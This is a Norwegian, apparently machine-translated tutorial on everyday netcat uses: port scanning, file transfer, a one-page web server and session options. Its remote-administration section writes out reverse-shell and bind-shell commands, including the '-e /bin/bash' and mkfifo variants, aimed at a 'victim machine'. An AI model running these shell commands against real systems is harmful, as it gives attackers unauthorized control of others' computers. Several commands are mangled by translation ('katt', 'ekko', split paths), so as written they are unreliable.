Netcat - Swiss Army Knife Pro -bruk

Netcat - Swiss Army Knife Pro -bruk
Netcat er et verktøy som brukes til å lese og skrive data på tcp- og UDP -porter. Det kan brukes til mange kule ting som filoverføring, portskanning, port omdirigering, backdooring andres PC, lage et enkelt chat -program, for nettverksfeil og mer, det er derfor det er kjent som Swiss Army Knife. Det kommer også forhåndsinstallert med nesten alle Linux-distribusjoner i dag, og den brukes hovedsakelig av nettverksadministratorer, DevOps og sikkerhetsingeniører for deres daglige små oppgaver.

En kort forskjell mellom netcat-tradisjonell og netcat-openbsd

Det er to lignende pakker tilgjengelig for netcat med en liten forskjell mellom dem.

netcat-tradisjonell Inkluderer et ekstra '-e' alternativ som kan brukes til å binde et program (i.e bash) med netcat. Denne funksjonen er veldig nyttig for eksterne administrasjonsformål.

netcat-openbsd har litt ekstra støtte for IPv6 og fullmakter.

Netcat -installasjon

Selv om Netcat kommer forhåndsinstallert i de fleste Linux-distribusjoner, men hvis det ikke er, kan det enkelt installeres ved å bruke følgende kommandoer.

For tradisjonell pakke,

ubuntu@ubuntu: ~ $ sudo apt-get install netcat-tradisjonell

For OpenBSD -versjon,

ubuntu@ubuntu: ~ $ sudo apt-get install netcat-openbsd

Netcat for Windows kan lastes ned herfra https: // sourceforge.nett/prosjekter/nc110/filer/.

Nå skal vi utforske noen interessante brukssaker av Netcat

Portskanning ved hjelp av netcat

For å skanne etter åpne porter, bruk '-z' alternativ. Netcat vil prøve å koble seg til hver port uten å sende data eller veldig begrensede data i UDP -saken. Skriv inn følgende

ubuntu@ubuntu: ~ $ nc -z -v hackme.org 80
... Snip ..
Hackme.org [217.78.1.155] 80 (http) Åpent

For å skanne etter en rekke porter, skriv inn

ubuntu@ubuntu: ~ $ nc -z -nv 192.168.100.72 20-80
(Ukjent) [192.168.100.72] 80 (http) Åpent
(Ukjent) [192.168.100.72] 22 (SSH) Åpne

Filoverføring med netcat

En annen nyttig bruk av netcat er filoverføring mellom eksterne datamaskiner. Du kan sende tekster og binære filer fra en PC til en annen PC. Vi prøver å sende en fil "Fil.PDF ”fra Linux PC til Windows PC [IP 192.168.100.72] Bruke Netcat som et eksempel.

På Windows Machine (mottaker), skriv inn følgende

C: \ Brukere> NC -NVLP 1337> Fil.PDF
Lytter på [0.0.0.0] (familie 2, port 1337)

På Linux Machine (avsender), skriv inn følgende

ubuntu@ubuntu: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Tilkobling til 192.168.100.72 1337 Port [TCP/*] lyktes!

Fjernadministrasjon med netcat

En av de beste brukssakene av NetCat er ekstern administrasjon, det betyr at du kan kontrollere andres PC ved hjelp av NetCat. Netcat-tradisjonelt kommer med '-e' alternativ som kan brukes til å binde et program (i.E CMD.exe i vinduer eller bash i Linux) med en port, det betyr at Netcat vil fungere som kommunikator mellom programmet og den eksterne PC -en. NetCat vil motta kommandoer fra ekstern PC, utføre på lokalt system og vil sende resultatene tilbake til den eksterne PC -en. Denne funksjonen er mye brukt til ondsinnede formål, for å oppbevare bakdør i PC -er og servere. Denne funksjonen er bare tilgjengelig i NetCat-tradisjonell, men med et lite triks kan Netcat-Openbsd også brukes til samme formål. Du kan bruke to måter å kontrollere andres PC.

I en Omvendt skall Tilkobling, en angriper lytter på en port og venter på at en tilkobling skal sendes fra offermaskinen. Den brukes når offerdatamaskinen er bak NAT eller ikke har offentlig IP.

For å få et omvendt skall ved hjelp av Netcat, må du lytte på en port ved hjelp av Netcat. Skriv inn følgende på angripermaskinen,

ubuntu@ubuntu: ~ $ nc -nvlp 1337
Lytter på [0.0.0.0] (familie 2, port 1337)

På offermaskin (hvis netcat-tradisjonell er installert)

// erstatte “/bin/bash” med “CMD.exe ”i tilfelle av vinduer

ubuntu@ubuntu: ~ $ nc -nv [ip_addr] 1337 -e /bin /bash

Til netcat-openbsd (hvor "-e" -alternativet ikke støttes)

ubuntu@ubuntu: ~ $ rm /tmp /f; mkfifo /tmp /f; katt
/tmp/f |/bin/sh -i 2> & 1 | nc [ip_addr] 1337>/tmp/f

Mens du er i en Bind skall Tilkobling, angriper binder en port på offermaskinen og kobles til den porten ved hjelp av klientkontakten. Den brukes når angriperens maskin er bak Nat eller ikke har en offentlig IP.

På offermaskin, type

ubuntu@ubuntu: ~ $ nc -nlvp 1337 -e /bin /bash
Lytter på [hvilken som helst] 1337 ..

Nå, for å kjøre kommandoer på offermaskinen, skriv

ubuntu@ubuntu: ~ $ nc -nv 127.0.0.1 1337
Tilkobling til 127.0.0.1 1337 port [TCP/*] lyktes!
$ id
uid = 1000 (Azad) GID = 1000 (Azad) grupper = 1000 (Azad), 4 (ADM), 24 (CDROM), 27 (sudo),
30 (Dip), 46 (Plugdev), 118 (LPadmin), 129 (Sambashare)

Enkel webserver ved hjelp av netcat

Du kan også gjøre et annet enkelt triks for å bruke NetCat som minimal webserver med en side. Denne webserveren vil være veldig enkel uten spesielle konfigurasjoner, og vi vil bruke den til å sende HTML -koden vår til nettleseren.

ubuntu@ubuntu: ~ $ mens sant; gjør ekko -e "http/1.1 200 Ok \ n \ n $ (ekko "


Min enkle webserver ved hjelp av netcat

")" | NC -nvlp 1337; Ferdig
Lytter på [0.0.0.0] (familie 2, port 1337)

Prøv nå å hente nettsiden med Curl

ubuntu@ubuntu: ~ $ curl http: // 127.0.0.1: 1337/

Min enkle webserver ved hjelp av netcat

Spesifiser timeout for en Netcat -økt

Du kan spesifisere timeout for en NetCat-økt ved å bruke "-W" -alternativet. Netcat vil automatisk koble fra økten etter at den spesifiserte tiden går ut.

// -w [Tid på sekunder]
ubuntu@ubuntu: ~ $ nc -w 40 -nvlp 1337
Lytter på [0.0.0.0] (familie 2, port 1234)

Fortsett å lytte selv om klienten lukker forbindelsen

I normal modus stenger Netcat -serveren og slutter å lytte på porten når en klient lukker tilkoblingen. Du kan holde serveren oppe ved å bruke "-K" -alternativet

ubuntu@ubuntu: ~ $ nc -k -nlvp 1234
Lytter på [0.0.0.0] (familie 2, port 1234)

Konklusjon

Netcat er enkel, men effektiv verktøy som kan brukes til mange enkle daglige oppgaver. Det kommer forhåndsinstallert i nesten alle UNIX-lignende operativsystemer og kan brukes til forskjellige oppgaver som kommunikasjon mellom to PC-er, filoverføring og mange flere.